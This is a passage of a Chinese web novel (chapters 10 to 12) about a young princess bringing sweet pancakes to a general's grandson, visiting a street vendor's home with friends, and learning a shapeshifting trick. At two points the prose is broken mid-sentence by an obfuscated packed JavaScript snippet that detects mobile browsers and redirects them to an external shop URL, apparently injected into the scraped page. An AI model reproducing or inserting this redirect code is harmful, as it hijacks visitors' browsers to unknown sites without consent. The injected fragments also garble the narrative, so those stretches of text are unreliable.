“大家都一样。”许曦道。她心里奇怪,这能问出什么? “最后一个问题。”谢稳背起手,似乎已成竹在胸,“这回礼,小殿下自己喜欢吗?” “喜欢啊。”许曦咧嘴笑。 谢稳也笑,眉眼弯弯,“小殿下,这谢礼......谢某已猜到了。” “啊?”许曦嘴微张,旋即又觉得他这是在诈她,又拧上眉毛,“我不信,你如何就能猜到了?你且说你猜是什么。” 谢稳眼中笑意更深,倒也不直接道明,反而绕了个弯子道,“不知道小殿下带来的点心出自哪位名家的手艺?” 许曦眨眨眼,没想到他竟真猜了出来,又暗暗怀疑这人是不是早就知情,故意在这和她绕圈子逗她玩。思来想去,许曦先给东宫里的哥哥扣上了通风报信的嫌疑。 但她嘴上不饶人,掀开轿帘起身道,“去去去,别挡着我。” 谢稳一动不动,反问道,“忽然下来做什么?这会儿正风大雪紧,站久了冷气往骨头缝里钻。” 许曦又坐回去,眼看着轿帘也被这人掩好,又推开轿窗白他,气呼呼道,“我不下去,如何把我的糖饼子给你?” 谢稳不以为意,轻描淡写道,“想来算不得沉重,小殿下递出来就是。” “不行。”许曦绷着脸,一脸严肃,“不能这么随意。” 到底是让她下了轿。 她这一下来,谢稳才注意到,许曦今日竟是穿了一身石榴红裙,上压着红底织金的小袄,白绒绒的狐毛领堪堪遮住下巴,头上宝石钗绚丽如群星,玉簪如月。 这一身,除了要求穿戴礼服的一些大日子,还真难在一向喜简喜淡的许曦身上看到。 谢稳终于意识到事态的严重性,他目光下移到许曦手里提着的食盒——这盒糖饼在许曦看来真的很重要。 “咳。”谢稳一清嗓子,腰背紧张得绷直,就像从前第一次送自己手雕的木如意给许曦。 许曦却只是掀起眼帘淡淡看他一眼,将食盒递过来,“这是我送你的生辰回礼。” 再多就没有了。 谢稳接下食盒,一下笑出来,是他想多了,换上一身少穿到有些郑重的衣服再亲自送到,在许曦看来就足够重视了。 交接完礼物,许曦转身往侯府大门走,“咱们去看你爷爷吧。” “小殿下!”谢稳几步快跑赶上,拦在她身前,“小殿下今日见不了爷爷。” 10. 第十章 “为什么?”许曦问。 谢稳背着手,温声细细解释,“爷爷卧病多日,一来怕精神不济有所怠慢,二来怕过了病气给旁人。掰指头数数,到今日也只见过太子殿下和些旧友。但也已是初病时的事了。” 许曦点点头,又道,“那就见见你爹娘,长宁候和侯夫人吧。我总得回去交差呢。” “啊......”谢稳耳尖飘红,有些尴尬,他眼神闪烁,“我刚刚在府里听见是你来,就把我娘拦下了。是我考虑不周了,应该让小殿下和我娘见上一面的。” 谢稳引着许曦穿长廊,入中堂,热腾腾的茶水备在桌子上。 谢母很快出现在许曦面前。 许曦识得她,偶有宴席,臣子携家眷在列,也见过几面,只是不曾正经打过招呼。 但她听谢稳谈起过他母亲的名字,司相英。 司相英一边唤着公主殿下,一边数落着匆忙冲出去的谢稳做事毛毛躁躁不稳重。 许曦安静听着,倒也不在意她说的怠慢,偶尔用余光去瞟老实站在一边的听训的谢稳,怎么看怎么新鲜。 谢稳在宫里可一直都是人前表率,诗书策论,武学射艺,样样出彩,什么时候有过这副丧眉耷眼的委顿模样? 偶尔对上视线,谢稳眼里的尴尬显露无疑,许曦则是幸灾乐祸地偷笑。 听着司相英讲完,许曦朗声道,“侯夫人,我哥哥要我替他向谢老将军带声好,没想到谢老将军已不见客。幸亏有您在,和您见上一面,把哥哥的问好带到,我也能安心回去交差了。” 她讲话笑眯眯的,话也说得俏皮,显得古灵精怪。逗得司相英忍俊不禁,笑呵呵道一定把话带到。 临走时,司相英又着人备上礼物,“一点薄礼聊表寸心,不成敬意。”说着,她一眼刀刮在谢稳身上,“虽说这小子不知轻重、没头没脑地跑出去,但既然是他亲自迎公主进来,那就再由他来送公主吧。” 许曦对这个安排没意见,又跟着谢稳出中堂,穿长廊,一路送到小轿旁。 轿帘放下前,她还不忘出声提醒,“谢稳,你记得吃我的糖饼,要快些吃。” 谢稳一愣,打趣道,“难不成小殿下在糖饼子里塞了金粒,须得防贼人偷去?” 许曦才不跟他笑,皱着眉,语气又重又硬,“谢稳,糖饼你要记得吃。” 谢稳失神,终于参透厉害,模样正经许多,但唇边仍挂淡笑,“是,谢某谨遵小殿下意。” 可这也不行。 等到谢老将军好转病愈,谢稳又往宫里来,许曦不依不挠地抓着他问,糖饼子可吃了?味道如何? 谢稳好脾气地笑笑,直说当日回了府就立即吃了,接着就把许曦的糖饼夸得天上有地上无。 许曦听得嘿嘿笑,嘴角快咧到耳根,她的糖饼本来就这么好。 但她看向谢稳的目光狐疑,“你果真吃了?” 谢稳面不改色地点头,“果真,谢某所言也句句为真。” 许曦这才满意地翘起唇角,“我的回礼果然选得不错,也算不辜负我亲自上门。” 她一句“亲自上门”可分两意,谢稳却是反应奇快,“这糖饼是小殿下一人上门去买的?” 话音一落,许曦笑容僵在脸上,她抗拒但不得不缓缓转过头来面对其他人,试图解释两句,但被许多道不赞同的目光堵死。 她慌不择路地向看似的好人求救,黑白分明的眼睛望向谢稳。 但“好人”选择装聋作哑,视若无睹。 混蛋! 许曦心中暗骂,咬牙切齿,但面上挣扎无果,也无力挣扎,只能垂着脑袋认错,“不会有下次了......” 林懿山在这时起了个新话头,“你上次说还有两份糖饼子要送给谁来着?” “送给金蕖和玉蕖!”许曦仿佛见到救苦救难的观世音菩萨一样一把扑过去,亲热地将她的手臂抱进怀里。 从四年前认识起,江金蕖和江玉蕖每年都跟着娘和爹进京来和许曦一众人玩上一阵子,分享这一年来在大江南北的见闻或是三五成群地在京城里左奔右突。 今年也是如此,等到一场雪盖一场雪,冬盖了秋,江家姐妹又进京来了。 吃过许曦准备的糖饼,姐妹俩对了个眼神,一人一句道,“这糖饼是不错。”“但更热些就更好了。” 听了这话,许曦恨不能当场将江家姐妹引为知己,第二日就拉着林懿山风风火火带着姐妹俩上了常大娘的门。 四个人不请自来,打了常大娘一个措手不及。 她慌忙把四个人请进家门,安排了坐处,又匆匆忙忙往自家厨房里奔,手忙脚乱、乒乒乓乓地做起了糖饼。 趁这个空当,许曦打算讲讲自己当初是如何一人上门买糖饼,又是如何送到所有人手上的,但是她还没说出口的话被余光里的身影打断。 堂屋门口探出一个小脑袋,是个穿着红色花棉袄、扎着短辫子的小姑娘,她圆月似的眼睛满是好奇,向里瞧着许曦几人,又时不时向常大娘的方向张望,这是想进但不知道能不能进。 林懿山也注意到她,亲切地一笑,声音温柔,招了招手,“你想过来的话,可以的。” 小姑娘眨眨眼,还是哒哒跑了进来,偎在了林懿山身边。许曦从荷包里掏出两颗松子糖给她,她含着松子糖又靠在了许曦身边。 “这是这家的女儿?”江金蕖问。 “对。”林懿山道,“她姐姐在好好身边做事。” “哦......”江金蕖大概猜出来了,又道,“她姐姐叫巧娘,她叫什么?” 小姑娘刚好把糖吃完,大着嗓门声音清亮,抢先答道,“我叫桐花!” “桐花?”江玉蕖一愣,“哪个桐花?”她心底第一想到的是铜钱的铜,又觉得拿来这么做名字有些奇怪。 桐花咧出牙齿,笑容灿烂,“我娘说,巷子口那棵老树是桐花树,所以我叫桐花。” “原来是这么个桐花啊......”江金蕖听了若有所思,忽然笑道,“那我和玉蕖是莲花!” “莲花?”桐花睁大了眼睛看她,“你是莲花?” 江金蕖哈哈笑,“对,我是莲花,玉蕖也是莲花,你是桐花,我们都是花!” 其他人也为她这句话笑作一团,常大娘正是在这个时候端着糖饼进来的。 她放下糖饼,一眼看见坐在许曦臂弯里的桐花,忙去扯她的手臂要把她带走,“呀,这孩子怎么来这儿了!可别惹着了小姐们。” 许曦轻轻按在她手臂拦下她,“大娘,不妨事。她愿意呆在这和我们一块儿就呆着吧。您尽管放心去忙就是。” 常大娘犹豫地看了眼她怀里的小女儿,吞吞吐吐道,“那,那就听小姐的吧。”说完,她一步三回头地离开了堂屋。但江玉蕖注意到她离开的瞬间肩背明显放松下来,甚至偷偷吐出一口长气。 江金蕖已经拈起一块糖饼放在嘴里,并充分肯定了许曦对于美味点心的鉴赏水准,又惹起一阵笑声。 吃过糖饼,许曦提议做游戏。 但今日风大,不宜踏出门去,只能陪着桐花在门里翻花绳解闷儿。 山穷水尽之时,姐妹俩又拿出了压箱底的宝贝——两套布偶。 “哦——”许曦率先捧起场来,一手拉着林懿山,另一手把桐花揽到身边,三个人坐在一起,像一簇春花,压弯枝头。 江金蕖和江玉蕖唱完《三千两金》唱《女中魁》,由着兴头唱得颠三倒四、缺斤少两,在让人昏头的叫好声里越唱越亮,越唱越兴奋,最后一句唱词停下时,姐妹俩明显意犹未尽。 恰好桐花拍着手笑道,“再来一个!再来一个!” 姐妹俩眼睛一亮,又要扬着眉毛亮嗓,却被喊着桐花名字找来的常大娘打断,一行人也就顺势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317548|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告了辞。 出了门,江玉蕖回头看了一眼,忽然叫住走在前面喊着要顺路去周围看看的许曦,“你可是公主,四年前连集都不知道的公主。现在居然在人家家里喝茶吃点心。” “点心是好点心,茶可不是。”江金蕖跟了一句,颇为认同地点点头,“刚刚那样的茶水,在东宫就是挖地三尺也找不出来。” 许曦回头看见她俩这样,眉舒眼笑,“很重要吗?” 江金蕖皱着眉头反问,“你是公主哎,不重要吗?” 许熙双手在背后勾在一起,笑容明媚,“不重要啊。这里是东宫外,公不公主有什么要紧?” “那她们知道你是公主吗?还是那位鼎鼎大名的升平公主。”江玉蕖追问。 许曦轻轻摇头,“不知道,也不重要。” “这也不重要,那也不重要,那还有什么重要?”江金蕖气闷。 许曦笑了两声,换了个说法,“东宫里有许多我喜欢的漂亮花瓶,各式各样,有像小兔的,有像美人的。它们为了求稳,大多有一个宽又平的底。”她笑容促狭,“我且问你,倘若蒙上眼睛再教你往里灌水,你要如何知道几时能灌出形状来?再过分些,要如何知道灌出来的是什么形状?” 姐妹俩对视一眼,彼此眼里都是不解,“这如何知道?” “这就是了,如何知道?”许曦笑得更开怀,“人与人碰在一起大抵就如这般蒙眼灌水,几时知道这个人的底细?这个人又究竟是怎么回事?统统都想不明白。”她弯弯笑眼,眸底闪着灵动的光,“既然想不明白,那就不想了。少想些东西总归是要轻松一点的,就如今日一般,门进得,糖饼吃得。” 姐妹俩听得一知半解,下意识看向一旁的林懿山求助。 林懿山和许曦显然是一丘之貉,她慢慢露出一个浅淡又高深莫测的笑容,“好好有入我太平书院的天资。” 江金蕖和江玉蕖歪着脑袋看着笑吟吟的两个人思索,很快就决定放过自己,反正从以前开始她俩就偶尔听不懂这两个人说话。 “快回皇宫!我要叫你俩也见识一下从前没吃过的东西!”江金蕖嚷着。 马车哒哒行在路上,不紧不慢,两边行人熙攘,倒也各行其道,相互不碍事。 许曦靠在车厢壁上脑袋一点一点的,摇摇晃晃间渐生困意。意识朦胧间隐约听见第二道马蹄声由远及近,急促轻快,耳边很快传来指节轻轻叩在车窗上嗒嗒两声。 “唔......”许曦迷迷糊糊地从车厢壁起来,拉开了车窗。 车窗外,谢稳长发高束在脑后,一身练色骑装勾出俊拔腰身如修竹临风,骑在一匹毛色雪白无杂的玉骢马上,衬得他面如冠玉,眸似点漆,濯濯春月柳,青葱少年气。 “谢稳?!”许曦眼睛一亮。 谢稳轻笑,“小殿下好。小殿下这是打哪儿来,往哪儿去?” 许曦眼睛弯弯,笑眯眯道,“从糖饼处来,往宫里去。” 谢稳挑起一边眉毛,“不知究竟是哪家的手艺?竟叫小殿下如此念念不忘?” “不告诉你。”许曦得意地翘起唇角,“这是我的专供!” “啊——?”谢稳故意夸张地拉长调子,甚至将一手捂在胸口以示心痛,微倾着上身,皱眉惋惜,又惊又叹,“上次吃的小殿下的糖饼叫谢某日也思,夜也想,只恨无处买来叫谢某一解馋虫啊!” 许曦一向不识逗,果然上当,她细细观察谢稳眉眼间的神色,半信半疑道,“果真?” 谢稳忍着笑,眼睫一颤一颤,像小蝶栖在眼上,“真的,比真金还真。” 许曦一向喜欢看他笑时明艳的模样,于是自己也笑,“那你回侯府去等着,不要走动,我把糖饼给你送来。” 谢稳眼睛弯成上弦月,嘴角也忍不住勾起,正要解释清楚不用,忽然许曦一声惊呼。 “谢稳!快掉头!” 11. 第十一章 谢稳猛地拉起缰绳勒马,马身竖立高声嘶鸣,引起四周民众喧哗避让。他一手按上腰间长剑,压眉凝神观察四周,没看见蒙面持刀的刺客,更没看见什么突然跑出来的孩子。 视线兜兜转转转回许曦脸上,谢稳眼带疑惑。 许曦懒散趴在窗沿上,见他看过来,抬眼露齿,笑容狡黠,“怎么?刚刚过长宁候府了,难道你不该掉头?” 谢稳眉眼一松,唇角勾出无奈笑容,一扯缰绳跟上马车,“小殿下......” “你不快回侯府去,跟着我做什么?”许曦挑起眼,带着诧异。 “啊......我......”谢稳一愣。 许曦紧跟着说,“你来的这个方向多半是你家演武场,从那练了一身汗不赶快回府去洗换衣裳,在外面吹冷风做什么?”说着,她双眼微眯,目带警惕,“你不会是想跟着我,好知道在哪里买糖饼吧?” “不是......”谢稳欲辩无言,他嘴张了又合,一时没注意,□□的马渐渐停了下来。他在马上张望远去的马车,凝望几瞬,一夹马腹回了长宁侯府。 许曦见他掉头回去,这才把脑袋从车窗外缩回。她仍保持着疑惑的样子,叫车中其他人看见登时爆发出一阵笑声。 等到笑声渐息,江玉蕖问她,“南边常见年纪好的儿郎春日里穿着薄春衫骑马倚斜桥,倘若颜色也好,说不准还会招来街边茶楼里的女郎挥舞红袖。谢稳也是这样吗?” “谢稳......?”许曦认真想了想,没什么头绪,遂看向林懿山。 林懿山先是诧异,接着睁大眼睛瞪了回去,她怎么会知道这种事情? 许曦讪讪地收回眼神,挣扎着又想了一会儿,还是轻轻摇了摇头,“......不清楚。”她忽然眼睛一亮,兴奋道,“但我哥哥是这样的!” 许熙出生就是太子,也早早接触各方政事,有时事忙琐碎,连日往返京城内外也是常事。许曦偶尔在宫外留得久了就能瞧见几次。 储君车架虽低调简便,以铜代金,去鸾存铃,青油车帷,乌漆轮毂,但赤质九旒,上刻麟纹,依旧可见主人身份。车夫挥鞭驱策,口令简洁,马车如云飘过,快而不乱。 许熙如今年已十五,到了可以议亲的年纪。车架两旁常见星眼少女目送马车远去,偶尔也有性情热烈的女子直接抛下桃李表达好感,自有侍卫尽数收入怀中,许熙对此并不介怀。 听到这个答案,江金蕖颇感无趣得撇了撇嘴,“整日哥哥哥哥的,待到回头太子成婚,看你怎么办。” “哎呀......”许曦潇洒地摆摆手,“车到山前必有路,成婚就成婚嘛,成了婚也是我哥哥。” 回到东宫,姐妹俩牵着手叫嚷着要快快备上汤圆、热油和冰来。 许曦和林懿山坐在桌前看她俩折腾。 东西全部准备好,江玉蕖将煮熟的汤圆浸到冰水里,约一盏茶功夫后捞出来。江金蕖接过来迅速投入已有五六成热的油锅中,见其金黄酥脆、微微鼓起就立即捞出扔在天青冰裂的瓷盘上。 江金蕖勾着唇角拿出一个小壶,壶里是冰镇好的桂花蜜。她手腕一斜,浅淡的金黄色丝绸似地泻下,描画般淋在汤圆上。 许曦和林懿山对视一眼,各自夹起一个。 一口咬下去,冰镇的桂花蜜清甜凉稠,咬破金黄外壳又是油炸的焦香。外酥脆,内冰糯,冰镇过的糯米芯子软弹,豆沙内馅香润。 两个人咬着汤圆,惊为天食。 江金蕖和江玉蕖一齐勾起唇角,款款坐在桌子另一边。 四个脑袋挨在一起咬汤圆,许曦和林懿山嘴里塞得鼓鼓囊囊听江家姐妹讲其他诸如此类的巧食。 窗外日光弹指过,席间花影坐前移。 “呀!谢稳!”许曦忽地一拍桌子站起。 “坏了坏了......”许曦忙转身往外跑,支了顶小轿急急往城南赶,拿了糖饼又匆匆往长宁侯府去。 轿子刚停在侯府门前,不待去知会门房,有一灰蓝衣衫的小斯快步走近,细语相传,“公主殿下,我家二公子正午回来就等在东门了。” 许曦闻言有些耳红脸热,又命人匆匆往长宁侯府东门去。 谢稳果然正站在门前,豆青长衫,浅松绿的发带简单束在脑后,黛眉玉肤,目若朗星,浑然明净似清露。 他露在衣领外的一截脖颈白皙似玉,脊背挺直如竹,肃肃如松下风。只肩上披了件略显厚重的白色大氅,密实的绒边错落搭在腿边、靴上。 “谢稳!”许曦掀开轿帘跑下轿。 谢稳转头望去,终于看见他心心念念等了一下午的人。 许曦提着食盒跑到近前,弯腰觑他神色,“谢稳?” 谢稳背手在身后粲然一笑,漂亮得像画里人忽然动起来似地,“小殿下,谢某还是头一回注意到自家门前的树是什么模样呢。” 许曦本来就满是心虚的神情僵在脸上,移开眼神咕哝,“整日就知道说些不阴不阳的话......”她将食盒递过去,“呐,答应给你的糖饼。” 谢稳勾着唇角接过来,“小殿下刚刚是在讲谢某的小话吗?” “没有!”许曦迅速反驳,闪烁不定的眼睛显得色厉内荏。 谢稳唇边笑意更深,“可谢某耳聪目明,刚刚小殿下所言,谢某一个字不落听进耳朵里,似乎不是什么好话呢。” “没有!”许曦反驳得更大声,语速极快地狡辩道,“夸你......夸你长得好看呢!”她不等他反应过来又立即补了一句,“糖饼,快吃糖饼!” 谢稳唇边笑意收了些,眼中促狭,“可是谢某手上无空,尝不来呢。” 奇奇怪怪的,许曦瞥了眼他背在身后的左手,这不是还有一只?她打开食盒,拿出一个糖饼子递到他嘴边。 刚出锅的糖饼还冒着热气,捏着酥黄饼皮的指尖烫得发红。 谢稳视线轻轻落在那点不自然的红上,张嘴将热糖饼叼在齿间,久藏在身后的左手终于露出来。 他手上握了一枝雪花,确切地说,是一条缀满了雪捏的花团的长枝。 他使巧劲拈下其中一朵,翻腕覆在许曦指尖。凉丝丝的雪慢慢化开,那点灼热很快消散不见,谢稳凝神看着,估量着差不多了,用衣袖拂去余雪。 做完一切,他收回手自己捏着糖饼,垂着眼睫咬破,有热气从破口中升出。 许曦举着手没动,目不转睛地盯着他手里的花枝看。 谢稳瞟她一眼,把枝子递给她,这一接抖落不少雪,簌簌落了一地。 枝子拿在手里,许曦小心地看了看,又抬眼去望谢稳,“这是......” 谢稳轻轻吹着饼口破出的热气,淡淡道,“今日路过我娘的院子见雪塔山茶开了,只是开得不好。方才等在这里,左右无事,就自己琢磨着捏了一枝,应该还是像的。”他又看了一眼她今日的红裙白玉簪,“配小殿下的簪子正合适。” 许曦闻言下意识扶了一下头上的簪子,目光转向谢稳,飘雪似地落在他肩头,挂在大氅松茸的皮毛上,鬼使神差地问了一句,“你也会怕冷吗?” 谢稳挑起单边眉,眼中戏谑,“本来是不用的,我娘觉得天冷,非叫我披上再出门。也还好我娘叫我披上了,不然谢某恐怕要冷死在自家门前了。” 一时不察,竟又让自己陷入到了理亏的境地,许曦扭开视线,一时失语。 谢稳倒是明显好心情地吃着糖饼看她笑,间或被许曦瞥见,越看越不顺眼。 忽然有细雪落下,谢稳下意识伸手罩在她头顶。 许曦目光跟着他移动,谢稳慢慢将手下移到她眼前,茸白的新雪一点点化在他手上。 “下雪了。”许曦轻声道。 “嗯。”谢稳应了一声,将脚边的食盒提起交换了随侍递上的伞,“不知道这雪会是个什么下法。天色也晚了。小殿下不如这就上轿回宫去,免得夜深路滑不好走。” 他撑伞跟在许曦身后送她上轿,油纸伞高又斜,挡去恼人的细雪。 许曦抬眼,头顶是一片霁青与涧石蓝交错的伞面,清亮如玉,全不似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317549|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冬日里灰蒙黯淡的天色。 坐上轿,许曦又掀开窗边的帘子,满眼认真神色,“谢稳,我明明和你说好了,但是来迟了,你应该生气的。” “应该生气吗?”谢稳轻笑,“可是小殿下没和我定下何时啊。明明是我如约在等,小殿下也如约到了啊。” 许曦怔愣,呆呆地看着谢稳,喃喃似问出,“那我要是今日不来呢?你要在这里等到天黑又天明吗?” 谢稳嘴角勾得更深,半开玩笑道,“或许吧。” “不成。”许曦重新绷上脸,严肃地看着他,“我知道我做得不好,你应该生气的。” “那好吧。”谢稳眼尾微弯,“小殿下以为谢某该要些什么做补偿呢?” “都可以。”许曦直勾勾地盯着他,“知错要改,做错要罚。” 谢稳盯回去,眼中笑意花开似地愈来愈深,“我看小殿下的专供糖饼就不错。” “好。”许曦毫不犹豫地点了点头。她还想说点什么,眼前帘子忽然被谢稳放下。 他的声音隔着轿帘响起,“好了,一会儿日头完全落下就该冷了。小殿下早些回去吧。” 轿子落在东宫,许曦捧着花枝喊巧娘,喊林懿山,张罗着要找个瓶子装花。 众人闻声赶来,连带本要走的江金蕖和江玉蕖也围上来看她的雪花枝。 大大小小、形状各异、材质不一的瓶子摆了一地,许曦试了又试,终于找出了一个合适的把花枝插进去。 她放松地拍拍手,“好了,只要把它放在外面就不怕化了。” 众人面面相觑,不知道她这是又在弄什么名堂。 “好好......”林懿山出声提醒,“就算放在外面,夜里起风也会刮掉的。” “啊......对啊......”许曦歪着脑袋托着脸盯着这枝雪花,脸上表情很是犯愁。 林懿山也跟着看,出主意道,“这是从哪儿弄来的?实在留不住就干脆弄个新的来好了。” “谢稳给的。”许曦答。 “谢稳?”江玉蕖讶异。 “嗯。”许曦用力点头,“谢稳是天底下最大的大好人。” 江金蕖疑惑看她一眼,俯身凑近去看已经被移到桌上的花枝。 蓬松的新雪被耐心捏成层层叠叠、碗状的复瓣,每一片都薄如蝉翼,月色下泛着一层极淡的泠泠青色。 她回头看许曦,“来往来往,有来有往,礼尚往来。你不给谢稳点儿什么吗?” 许曦和她对视,理所当然道,“要给啊,改日我再去送糖饼给他。” 江金蕖皱眉,脸上是毫不掩饰的、赤裸裸的嫌弃,“你大小也是个公主,虽说糖饼确实好吃,可你怎么整日跟糖饼过不去了?至少也得给点珊瑚啊、漂亮宝石什么的吧?” 许曦脸上浮上些不自然,叫她这么一说是有些不对,但是想想这是谢稳的原话,她坦然许多,“他就要这个,点名要的。” “啧。”江金蕖翻着白眼阴阳怪气道,“点~名~要~的~真是够古怪的两个人。” 直到许曦第二日送完糖饼回来,江金蕖一直是这副态度,摇着头啧啧称奇,好一阵唏嘘人以类聚。许曦不忿地呛她,“你和玉蕖整日与我待在一处,你俩也古怪!” 江金蕖不气反笑,扬着眉毛一指林懿山,“照你这么说,那林懿山也古怪。” “哎哎,怎么还刮带上我了?”林懿山趁机混进中间,哄完这个哄那个。 江家姐妹在京时日日同许曦、林懿山、许知礼混在一起,五个人除了东宫就是跑了城南跑城西。待到姐妹俩走了,余下的三个人接着跑完城东跑城北,按图索骥地实践江家姐妹留下的新花样。 这样的日子过了两年,许曦咂咂嘴,自觉已经将整个京城逛遍,再没什么有意思的,一扭身竟跑去和林懿山一齐看话本了,整日醉心于神仙鬼怪、光怪陆离。 这日,许曦窝在林懿山床上,翘着腿同她一起看话本,忽然将话本一扔,侧头去看林懿山,目光炯炯,“林三,你听过缩骨功吗?” 12. 第十二章 “缩骨功?”林懿山瞟她一眼,随手将手里的话本放下,翻身支在许曦上方,一手撑在床上,一手盖住了她的眼睛。 许曦怔愣,眼前突然漆黑一片,也不明白林懿山为什么这样。她一动没动,只听林懿山在耳边道,“是这样吗?” 原本清越的少女音色在一句话间极快地变低变沉,带着一点生涩的沙哑。覆在许曦眼上的手也明显由原来的绵软细嫩变得宽大有力,比刚才更重了些。 许曦惊得屏住呼吸,心中升出一个荒谬的猜想,荒谬得她不敢承认。没等她继续纠结,压在眼上的那只手已经移开。 林懿山不见了,或者说,熟悉的林懿山不见了。 熟悉的林懿山应该是一个圆脸圆眼的清丽少女,可眼前这个,眉骨突出,鼻梁更高了,脸颊清瘦,五官轮廓分明,宽肩窄腰,长手长脚,整个人大了一圈不止。 此时“他”罩在她身上,她心里忍不住生出压抑和紧张。 林懿山看出她眉眼间的不自在,得寸进尺地伸手掐住她下巴,学着话本上的孟浪纨绔道,“满意你看到的吗?” 许曦眨眨眼,恍惚地把手搭在她掐着自己下巴的手上,下意识捏了一下,硬的,捏不动,甚至这个人的手也比自己大了好几圈,拢不过来。 她终于如梦初醒般反应过来发生了什么,下一瞬,攻守异势。 许曦按上林懿山肩膀,腰身发力反把“他”压在身下,紧紧坐在“他”腰胯上,俯身去摸“他”的眼睛、耳朵、喉结,“真是林三?” “是我,快下来。”林懿山轻拍她腰身,“你要压死我吗?” 许曦非但不下来,还用力牢牢压住“他”,“不下来,除非你教我。” 林懿山扬起眼,支起上半身拽她手臂晃她,试图把她从身上拽下来,无果。“他”长叹一口气,瘫倒在床上,装傻道,“要教什么?” 许曦眼睛亮晶晶的,趴在他身上,“教我怎么变成这样啊,这是缩骨功吗?不,伸骨功?” 林懿山望着头顶不看她,有气无力道,“不是,这不是缩骨功,是捏骨功。” “捏骨功?”许曦思考着,一时不注意被林懿山从身上掀了下来。 林懿山坐得离她远了一些,没等坐安稳就又被扑住,许曦大声道,“教我!” “不教不教......”林懿山慌忙挣开她往床角躲。 许曦紧追不舍,“教我教我教我......” 两人在床上你追我逃,林懿山使尽浑身解数挣扎逃跑,许曦在后面越追越奇怪,她忽然喊住林懿山,“林三,你老跑什么?还顶着这副样子跑。弄得我像是话本里讲的欺男霸女的地棍泼皮似地。” “呃......”林懿山一僵,念念有词地闭上了眼,几瞬后再睁开眼又恢复了原本的少女模样,木着脸理好衣服坐回许曦身边。 许曦倚在她肩头,声音软软地抱怨,“林三......你就教我嘛......这种东西,不会教了徒弟饿死师傅的......” “不教。”林懿山冷漠地一指头戳在她脑袋上。 许曦头抵在她肩上转着圈地磨,“教嘛教嘛......为什么不教我?” “这是我书院禁术,教不了。”林懿山道。 “书院禁术?”许曦抬头看她,嘴角慢慢勾起,“书院禁术啊......”她趴在她肩上,凑得更近,低语道,“那应该不能随便告诉书院以外的人吧?” 林懿山垂眸去瞧她,许曦也正挑着眼睛,眼里满是坏笑,仿佛再说,一步错,步步错,你只能教给我了。 林懿山反倒被激起反骨,挑衅道,“我要就是不教你呢?” “不打紧啊。”许曦眉开眼笑,一派天真道,“那我就去找你师兄们告你一状就是了。” 林懿山木着脸,又道,“这要童子功,你已经过了那个年纪了。” “哎呀~林三~”许曦抱着她手臂又嚷上了,“你就教我吧~算我求你了~求求你~” 她软磨硬泡,一遍遍打保证学了以后只自己变来玩玩,此事天知地知,她知,林懿山知,绝不会有第三个人知道是怎么回事。 林懿山不胜其烦,还是松了口。 到底是年纪不合适,念完林懿山给的口诀,许曦变是变了,但完全不像林懿山那样大变活人,依旧是十二岁上下的身形,只是骨架更硬朗了一点,脸上也变得更有棱角,瞧着倒更像是许熙十二岁上的样子。 许曦用目光细细描摹镜子里自己的模样,玩心大起,沾着脂膏点在眼角,遮住那一点痣。再转过身来,勾着唇角微微一笑,恍然就是十二岁的许熙。 找来套许熙旧时的衣裳换上,许曦兴冲冲拉着林懿山就要出门,正撞上来找人的许知礼。 许知礼看见她,下意识道,“太子表......”话说到一半忽然意识到不对,瞪大了眼睛,不可置信地看着许曦,“好好?!” 她绕着许曦一圈圈地转,白日里见了鬼似地,“你......不对啊......但是......”她边说边比比划划,“要不是太子表哥已经十七,高了我快一个头去,还真要被你唬住,以为是太子表哥在这呢。” 许曦哼笑一声,“如何?和我哥哥很像吧?” “你是怎么变成这样的?”许知礼问,满眼抑制不住的好奇。 “不告诉你!”许曦悄悄看了林懿山一眼,嘴角压不住笑意。 “那你们这是要去哪儿?”许知礼热切地问,显然不想对这件事浅尝辄止。 许曦摇头晃脑,折扇“啪”一声敲在手上,“自然是要出宫。” 许知礼看看她又看林懿山,“怎么我一来你们就要走?”她满脸不情愿,“不行,我也要去。” 许曦现在这张脸实在不适宜轻易出现在宫里人前,三个人鬼鬼祟祟、遮遮掩掩、藏首藏尾地出了宫。 一下马车,许知礼抬头看见眼前的招牌,头也不回地开始叨叨,“你的那些话本这么快就看完了吗,林懿山?” 林懿山走在她身后,轻轻一扶头上的金簪,没心情理她。 许曦出宫前抓着她好生打扮了一番,从前送给林懿山的各式珠宝尽数拿了出来,镶着红色宝石的金质钗篦插了满头,璎珞珍珠一串叠一串挂在颈上,衣裙外衫尽挑富丽张扬的颜色。 饶是林懿山再喜红也顶不住被她这样折腾,但每逢她想反抗,许曦就会露出一个狡诈的笑容,“你也不想被人看见和太子在一起吧?” 秉持着“最危险就是最安全”的理念,许曦将自己和林懿山收拾得珠光宝气、花枝招展,任谁看去都会以为是哪家受宠跋扈的少爷小姐,和以简衣便行示人的太子是不会有什么联系的。 当然,最重要的原因是,没那么多人识得太子十二岁上的相貌。 进了书坊,两个许家人陪着林懿山挑话本。 许知礼站了没一会儿就嫌没意思跑去了别处,许曦倒是满脸笑容地立在一旁,折扇轻摇,时不时帮林懿山参谋几句,颇有几分风流公子小意温柔的做派。 不多会儿,许知礼又转了回来,“姑奶奶,小林姑奶奶~可看好没有?” “好了好了。”林懿山轻巧地将一册书丢进许曦怀里。 